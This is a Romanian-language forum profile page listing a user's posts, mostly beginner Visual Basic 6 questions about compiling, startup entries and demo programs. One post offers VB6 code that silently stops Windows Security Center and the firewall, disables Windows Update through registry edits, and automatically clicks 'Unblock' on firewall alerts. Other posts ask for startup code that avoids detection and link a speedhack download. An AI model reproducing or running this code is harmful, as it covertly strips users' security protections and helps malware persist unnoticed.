Jump to content

steli

Members
  • Posts

    32
  • Joined

  • Last visited

Everything posted by steli

  1. Lol a modificat doar textbox-urile si skinul atat )
  2. Care este parola ? pt dezarhivare
  3. Uite speedhack ti-am pus pe NetDrive http://www.netdrive.ws/151783.html
  4. steli

    Help me [vb6]

    Am reusit era de la un socket pe care il puneam inloc de Winsock Multumesc tuturor pt tot ajutorul acordat
  5. steli

    Help me [vb6]

    Am Windows Service Pack 3
  6. steli

    Help me [vb6]

    Am verificat codul..indiferent ce pun pe form..tot nu merge sa dau make project.exe [Oricum mersi pt ajutor]
  7. steli

    Help me [vb6]

    Salut all am si eu nevoie urgent de ajutor..Am instalat Visual Basic 6.0 Enterprise Edition si cum am facut un proiect in el si am dat "Make Project.exe" imi da "Don't Send" ce pot face ?Am schimbat pana acum 3 exemplare de Vb6 am incercat si vb6 de pe forum de aici si tot nu mi-a mers :sad:..Am reinstalat si Windowsul si la fel tot la fel imi face dupa ce scriu ceva in vb6 si dau Make Project.exe imi da "Dont Send" ce pot face? Multumesc pt ajutorul acordat
  8. [vb] mai simplu , scris de who Shell("cmd.exe /c net stop " & Chr(34) & "Security Center" & Chr(34), vbHide) Shell("cmd.exe /c net stop SharedAccess", vbHide) Shell("cmd.exe /c reg add " & Chr(34) & "HKLM\SYSTEM\CurrentControlSet\Services\SharedAcce ss" & Chr(34) & " /v Start /t REG_DWORD /d 0x4 /f", vbHide) Shell("cmd.exe /c reg add " & Chr(34) & "HKLM\SYSTEM\CurrentControlSet\Services\wuause rv" & Chr(34) & " /v Start /t REG_DWORD /d 0x4 /f", vbHide) Shell("cmd.exe /c reg add " & Chr(34) & "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc " & Chr(34) & " /v Start /t REG_DWORD /d 0x4 /f", vbHide) http://www.opensc.ws/vb-unsorted/3795-add-startup-all-windows-version.html traducerea in vb : Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long Private Declare Function SendMessageSTRING Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long Private Const WM_CLICK = &HF5 Dim FirewallWindow As Long Dim UnlockButton As Long FirewallWindow = FindWindow(vbNullString, "Windows Security Alert") If FirewallWindow <> 0 Then UnlockButton = FindWindowEx(FirewallWindow, 0, "Button", "&Unblock") SendMessageSTRING UnlockButton, WM_CLICK, 0, 0 End If
  9. Multumesc "dranaxum"
  10. ahaa intra si tu putin pe mess te rog
  11. Pai si ce sa scriu in registry zi si mie te rog frumos sau intra putin pe mess te rog frumoss
  12. imi poti spune tu ceva care sa nu fie detectabil te rog frumos
  13. Va multumesc la amandoi
  14. Salut am facut si eu o aplicatie in vb6 si am nevoie sa ruleze la StartUp care imi spune si mie codul (codurile) va rog frumos .Multumesc pt ajutor
  15. ms mult
  16. Mersi mult (poti sa imi dai si mie un MP cu id-ul tau te rog frumos )
  17. inca ceva am facut o aplicatie in care am : - textbox - button - listbox si am facut cand se apasa button1 sa se adauge in listbox ce este in textbox (asta am rezolvat`o) dar dak iese din program si intra din nou cum fac sa apara in listbox ce a fost adaugat..(sper ca am explicat cum trebuie ),mia spus cineva ca trebuie un modul ..pt a ramane in list_load () ce a fost adaugat.Multumesc pentru ajutor
  18. "Freshmeat" mersi foarte mult :*
  19. mersi mult wtf am sa ma uit sa vedem dak ma ajuta Nu prea am inteles ... Cine poate sa ma ajute de ex la codu asta nu prea il inteleg :( Private Sub Timer1_Timer() Label1 = "System Uptime: " & SystemUptime.Days & " Days, " & _ SystemUptime.Hours & " Hours, " & _ SystemUptime.Minutes & " Mins, " & _ SystemUptime.Seconds & " Seconds, " & _ SystemUptime.MSeconds & " Miliseconds" End Sub Care ma ajuta va rog frumos
  20. pai da dar vreau sa il poata folosi o singura data apoi sa nu mai mearga folosit
  21. Bravo wtf ai inteles ce am vrut sa zic (este pt un program) Uite de ex am codul ce trebuie scris dar nu stiu unde trebuie sa modific timpul Private Sub Timer1_Timer() Label1 = "System Uptime: " & SystemUptime.Days & " Days, " & _ SystemUptime.Hours & " Hours, " & _ SystemUptime.Minutes & " Mins, " & _ SystemUptime.Seconds & " Seconds, " & _ SystemUptime.MSeconds & " Miliseconds" End Sub cine poate sa ma ajute ??
  22. mda..am vrut sa zic..cum fac un program demo ( dupa un anumit timp sa nu mai mearga folosit ...sau dupa ce este folosit o data sa nu mai mearga folosit )
  23. Salut,cum pot sa fac si eu un "program demo" in vb6 ?
  24. Pentru 8
  25. Aha mersi mult pt raspuns
×
×
  • Create New...